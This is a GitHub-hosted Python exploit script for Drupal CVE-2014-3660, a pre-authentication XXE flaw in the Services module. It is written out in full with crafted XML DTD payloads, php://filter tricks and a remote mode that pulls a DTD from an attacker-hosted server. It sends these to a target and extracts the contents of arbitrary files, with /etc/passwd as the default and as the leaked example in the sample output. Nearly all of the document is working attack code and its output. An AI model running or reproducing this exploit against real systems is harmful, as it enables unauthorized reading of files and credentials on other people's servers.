-
Notifications
You must be signed in to change notification settings - Fork 110
/
drupal-CVE-2014-3660.py
134 lines (109 loc) · 5.15 KB
/
drupal-CVE-2014-3660.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Drupal XXE libxml2 Services Exploit CVE-2014-3660
=================================================
Pre-authentication XXE vulnerability in the Services module, can be used to
extract files from a vulnerable host. This exploit has two modes to exploit
this vulnerability when zlib is available you can use local DTD exploitation
mode or remote when zlib filter is not available. Remote requires exploit to
host a DTD file for recovering file contents.
Usage:
bitthief@epinephrine / $ python xxe.py http://192.168.100.237 local -f /etc/passwd
[!] Target :: ['http://192.168.100.237']
[!] Local DTD, file to leak :: /etc/passwd
[!] Sending request ::
[!] Status code :: 200
[+] Successfully executed evil DTD, magic token found :: W00T
[!] Exfiltrated content with great success ::
root:x:0:0:root:/root:/bin/bash
[...]
bitthief@epinephrine / $ cat passwd_dtd.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % intern "<!ENTITY % trick SYSTEM 'file://W00T%payload;W00T'>">
bitthief@epinephrine / $ python xxe.py http://192.168.100.237 remote -p http://192.168.100.1:9000/passwd_dtd.xml
[!] Target :: ['http://192.168.100.237']
[!] Remote DTD Location :: http://192.168.100.1:9000/passwd_dtd.xml
[!] Sending request ::
[!] Status code :: 200
[+] Successfully executed remote DTD, magic token found :: W00T
[!] Exfiltrated content with great success ::
root:x:0:0:root:/root:/bin/bash
[...]
-- Dragos Donici & HackerFantastic, Hacker House
'''
import argparse
import requests
import base64
import zlib
import sys
TOKEN='W00T'
session = requests.Session()
def sendLocalRequest(url, file):
dtd = "<!ENTITY % payload SYSTEM \"php://filter/zlib.deflate/read=convert.base64-encode/resource={}\">\n\
<!ENTITY % garbage \"<!ENTITY % gar SYSTEM '"+"A"*500+"'>\">\n\
<!ENTITY % intern \"<!ENTITY % trick SYSTEM 'file://W00T%payload;W00T'>\">"
print("[!] Local DTD, file to leak :: %s" % file)
paramsGet = {"q":"xml/node"}
xmlData = "<!DOCTYPE root [\
<!ENTITY % evil SYSTEM \"php://filter/read=convert.base64-decode/resource=data:,{}\">\n\
%evil;\n\
%intern;\n\
%trick;\n\
]>\
<xml>\
<test>test</type>\
</xml>"
headers = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Connection":"close","Accept-Language":"en","Accept":"*/*","Content-Type":"application/xml"}
print("[!] Sending request ::")
data = xmlData.format(base64.b64encode(bytes(dtd.format(file), 'utf-8')).decode('utf-8')).replace("\n", "").replace("+", "%2B")
response = session.post(url, params=paramsGet, data=data, headers=headers)
print("[!] Status code :: %i" % response.status_code)
buf = response.content.decode('utf-8')
if (buf.find(TOKEN) != -1):
print("[+] Successfully executed evil DTD, magic token found :: %s" % TOKEN)
print("[!] Exfiltrated content with great success ::\n")
deflated = base64.b64decode(buf[buf.find(TOKEN)+len(TOKEN):buf.rfind(TOKEN)])
print("%s\n" % zlib.decompress(deflated, -15).decode('utf-8'))
else:
print(data)
print(buf)
print("[-] Abort mission :: unable to find magic token in response.")
def sendRemoteRequest(url, payload):
print("[!] Remote DTD Location :: %s" % payload)
paramsGet = {"q":"xml/node"}
xmlData = "<!DOCTYPE root [\
<!ENTITY % remote SYSTEM \"{}\">\n\
%remote;\n\
%intern;\n\
%trick;\n\
]>\
<xml>\
<test>test</type>\
</xml>"
headers = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Connection":"close","Accept-Language":"en","Accept":"*/*","Content-Type":"application/xml"}
print("[!] Sending request ::")
response = session.post(url, params=paramsGet, data=xmlData.format(payload), headers=headers)
print("[!] Status code :: %i" % response.status_code)
buf = response.content.decode('utf-8')
if (buf.find(TOKEN) != -1):
print("[+] Successfully executed remote DTD, magic token found :: %s" % TOKEN)
print("[!] Exfiltrated content with great success ::\n")
print("%s\n" % base64.b64decode(buf[buf.find(TOKEN)+len(TOKEN):buf.rfind(TOKEN)]).decode('utf-8'))
else:
print("[-] Abort mission :: unable to find magic token in response.")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='[ :: Drupal XXE PoC :: ]')
parser.add_argument('url', nargs='+', default='http://127.0.0.1/drupal', help='URL pointing towards Drupal installation')
subparser = parser.add_subparsers(dest='technique')
subparser.required = True
parser_remote = subparser.add_parser('remote', help='Use remote XML DTD to inject payload')
parser_remote.add_argument('-p', required=True, default='http://127.0.0.1/test.xml', type=str, help='Location of the remote XML DTD payload')
parser_local = subparser.add_parser('local', help='Use local DTD+PHP filter payload')
parser_local.add_argument('-f', required=True, type=str, help='File to retrieve from the target', default='/etc/passwd')
args = parser.parse_args()
print("[!] Target :: %s" % args.url)
if (args.technique == 'remote'):
sendRemoteRequest(args.url[0], args.p)
else:
sendLocalRequest(args.url[0], args.f)